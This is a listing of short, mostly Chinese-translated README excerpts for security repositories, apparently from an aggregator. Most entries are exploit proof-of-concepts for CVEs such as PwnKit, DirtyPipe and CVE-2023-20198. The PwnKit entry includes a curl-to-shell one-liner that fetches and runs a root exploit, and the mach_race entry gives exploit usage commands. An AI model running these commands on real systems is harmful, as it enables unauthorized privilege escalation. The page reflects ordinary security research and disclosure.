CVE-2023-20198

CVE-2023-20198 CVE-2023-20198 PoC ! 描述 对目标Web服务器执行操作。该脚本演示了如何创建本地用户账户、安装植入程序、重启Web服务器、检查植入程序是否存在，最后通过删除创建的用户账户进行清理。 免责声明： 此脚本仅供教育目的。严禁未经授权使用此脚本。使用风险自负。 要求 Python 3.x Requests 库 pip install requests 使用方法 1. 将脚本中的占位符值替换为适当的目标详细信息，例如URL、用户名、密码和植入程序配置内容。 2. 在安全且可控的环境中执行脚本。 python exploitscript.py...

duckdb

Prueba Jepsen DuckDB Pruebas Jepsen para la base de datos DucKDB. Se ejecuta localmente, en lugar de en un clúster remoto. La prueba genera una colección de procesos locales que abren un archivo DuckDB localmente e interactúa con ellos a través de STDIN/STDOUT. Este es un prototipo temprano. Se...

CVE-2021-4034

CVE-2021-4034 这是 PwnKit 本地权限提升漏洞 的 PoC，由 Qualys Security Team 发现。 Qualys 研究团队发现 polkit 的 pkexec（一个 SUID-root 程序，默认安装在每个主流 Linux 发行版中）存在内存损坏漏洞。 概念验证 下图展示了该负载在基于 debian 的操作系统中的运行效果 使用方法 提供了两个 PoC，其中一个为自包含版本，不需要在易受攻击的端点（即 GCC）上安装任何依赖。 建议 立即建议移除 polkit 二进制/可执行文件的 SUID 位。...

CVE-2021-1732

CVE-2021-1732 CVE-­2021­-1732 Microsoft Windows 10 本地提权漏 研究及Poc/Exploit开发 受影响系统及应用版本 Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64­based Systems Windows 10 Version 20H2 for 32­bit Systems Windows 10 Version 20H2 for x64­based Systems Windows Server, versi...

CVE-2026-45258_1day_LPE_exploit

此存储库没有 README。...

analyzer

This project automates the daily tasks of Threat Intelligence Analyzer role internally without external resources' interaction. It analyzes, visualizes and structures sensitive files Malware or data by extracting features, artifacts and IoC using different modules. The output of those modules can...

sast-scan

引言 ███████╗ ██████╗ █████╗ ███╗ ██╗ ██╔════╝██╔════╝██╔══██╗████╗ ██║ ███████╗██║ ███████║██╔██╗ ██║ ╚════██║██║ ██╔══██║██║╚██╗██║ ███████║╚██████╗██║ ██║██║ ╚████║ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ Scan 是一款面向现代 DevOps 团队的免费开源安全工具。基于集成多扫描器的设计，Scan 可以在一轮快速扫描中检测应用程序和基础设施代码中的各种安全缺陷，无需任何 远程服务器 。Scan...

dirtypipez-exploit

CVE-2022-0847 DirtyPipe 漏洞利用。 Credit: Max Kellermann [email protected] 一个名为 'Dirty Pipe' 的新 Linux 漏洞允许本地用户通过公开可用的漏洞利用程序获取 root 权限。 今天，安全研究员 Max Kellermann 负责任地披露了 'Dirty Pipe' 漏洞，并指出它影响 Linux 内核 5.8 及更高版本，甚至包括 Android 设备。 该漏洞被追踪为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery 用于检测 CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 使用方法 bash inpger.sh yourlist.txt thread 参考 https://vulners.com/cve/CVE-2022-4063...

CVE-2019-6225-macOS

CVE-2019-6225 通过 CVE-2019-6225 在 macOS ≤ 10.14.2 上进行本地权限提升 尚未在其他机器上测试，某些硬编码值可能不正确。 在具有 SMAP 的机器上无效。 第二次运行时将使你的机器崩溃，无论第一次运行情况如何。 大部分代码基于 PsychoTea/machswap 特别感谢： @bazad、@S0rryMyBad 发现漏洞 @S1guza 提供帮助 @PsychoTea 提供代码和优秀文章...

ship-safe

The independent security agent for AI-written software. It finds issues, investigates whether they are real, and shows you the evidence. Website · Docs · Security & Data Flow · Benchmark · Pricing · Blog · Contribute Ship Safe CLI Ship Safe runs locally in your repo and works in two layers. A...

CVE-2023-0179-PoC

Needle CVE-2023-0179 漏洞利用 此仓库包含我最近在nftables子系统中发现的漏洞利用代码（已分配CVE-2023-0179），影响了从5.5到6.2-rc3的所有Linux版本，但漏洞利用在6.1.6上测试。 漏洞详情和说明可在oss-security找到 构建说明 只需调用 make needle 命令即可生成对应的可执行文件。 构建成功需要 libmnl 和 libnftnl： sudo apt-get install libmnl-dev libnftnl-dev 信息泄露 漏洞利用将进入一个非特权用户和网络命名空间，并通过 ruleaddpayload...

CVE-2025-60710

CVE-2025-60710 这是 \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration 计划任务中本地权限提升漏洞的概念验证（PoC）。 当该计划任务启动时，taskhostw.exe 进程会尝试打开 C:\Users%username%\AppData\Local\CoreAIPlatform.00\UKP 目录，并使用以下过滤器搜索子目录：????????-????-????-????-????????????。如果找到该目录，将直接删除，而不会检查符号链接。 低权限用户默认可以在其自己的 %LOCALAPPDATA%...

kernel-exploits

Exploits del kernel de Linux Fecha| Enlace| Descripción| Vector| Impacto ---|---|---|---|--- 02.2016| CVE-2016-2384| Double-free en el controlador USB MIDI| USB + Local| LPE 03.2016| prefetch-side-channel| Bypass de KASLR mediante prefetch| Local| Fuga de información 12.2016| CVE-2016-9793|...

mach_race

Mach Race OS X 本地权限提升漏洞利用 c fG! 2015, 2016, [email protected] - https://reverse.put.as 一个针对 SUID、SIP 和二进制 entitlements 的通用 OS X 漏洞利用 CVE-2016-1757。 针对 SUID 二进制文件的使用方法： ./machraceserver /bin/ps compatmode for i in seq 0 1000000; do ./machraceclient /bin/ps; done 针对具有 entitlements 的二进制文件以绕过...

PwnKit

PwnKit 针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。 sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动运行 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x ./PwnKit...

bore

bore A modern, simple TCP tunnel in Rust that exposes local ports to a remote server, bypassing standard NAT connection firewalls. That's all it does: no more, and no less. Installation requires Rust, see alternatives below cargo install bore-cli On your local machine bore local 8000 --to bore.pu...

CVE-2019-1064

CVE-2019-1064 CVE-2019-1064 - AppXSVC 本地权限提升 看来这个问题可能并未像预期那样被完全修复。PoC 暂时不可用...

METATRON

METATRON 基于本地大语言模型的人工智能渗透测试助手（适用于Parrot OS Linux系统） 🔱 METATRON AI驱动的渗透测试助手 📌 什么是 Metatron？ Metatron 是一个基于命令行的 AI 渗透测试助手，完全在您的本地机器上运行——无需云端、无需 API 密钥、无需订阅。 您只需提供目标 IP 或域名。它会运行真实的侦察工具（nmap、whois、whatweb、curl、dig、nikto），将所有结果输入本地运行的 AI 模型，AI 分析目标、识别漏洞、建议利用方法并推荐修复方案。所有内容都会保存到 MariaDB 数据库中，并包含完整的扫描历史。...

secrets-manager-rs

secs-man secs-man 是一个用于管理机密备份的工具，其设计以工具无关性为核心原则：如果你用本软件加密了机密信息，那么即使没有本软件，你也应该能够解密并恢复它们。即使 secs-man 从地球上消失，你的数据依然可访问。 secs-man 可用于管理本地和远程机器的机密，非常适合创建仅限本地的备份，适用于那些过于敏感、不宜存放在云端的场景。 设计理念 理论 你不应该依赖任何特定软件来备份极其重要的数据。 任何强迫你在使用后仍留存在其生态系统中的软件（例如：“如果你用这个软件加密，就只能用这个软件解密”）都会让你产生依赖。...